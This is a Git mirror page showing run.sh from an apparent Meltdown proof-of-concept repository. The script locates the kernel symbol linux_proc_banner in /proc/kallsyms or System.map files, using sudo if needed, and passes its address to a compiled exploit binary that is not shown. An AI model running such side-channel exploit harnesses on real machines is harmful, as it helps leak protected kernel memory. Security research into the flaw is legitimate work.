1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/idea4good-meltdown

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
В этом репозитории не указан файл с открытой лицензией (LICENSE). При использовании обратитесь к конкретному описанию проекта и его зависимостям в коде.
Клонировать/Скачать
run.sh 1.2 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
idea4good Отправлено 27.02.2018 00:39 f8bd9e4
#!/bin/sh
find_linux_proc_banner() {
$2 sed -n -re 's/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p' $1
}
echo "looking for linux_proc_banner in /proc/kallsyms"
linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms)
if test -z $linux_proc_banner; then
echo "protected. requires root"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /proc/kallsyms sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map-$(uname -r)"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map-$(uname -r) sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /lib/modules/$(uname -r)/build/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /lib/modules/$(uname -r)/build/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "can't find linux_proc_banner, unable to test at all"
exit 0
fi
if [ ! -e ./a.out ]; then
echo "'a.out' program not found, did you forgot to run 'make' ?"
exit 0
fi
./a.out $linux_proc_banner 0xd

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/idea4good-meltdown.git
git@api.gitlife.ru:oschina-mirror/idea4good-meltdown.git
oschina-mirror
idea4good-meltdown
idea4good-meltdown
master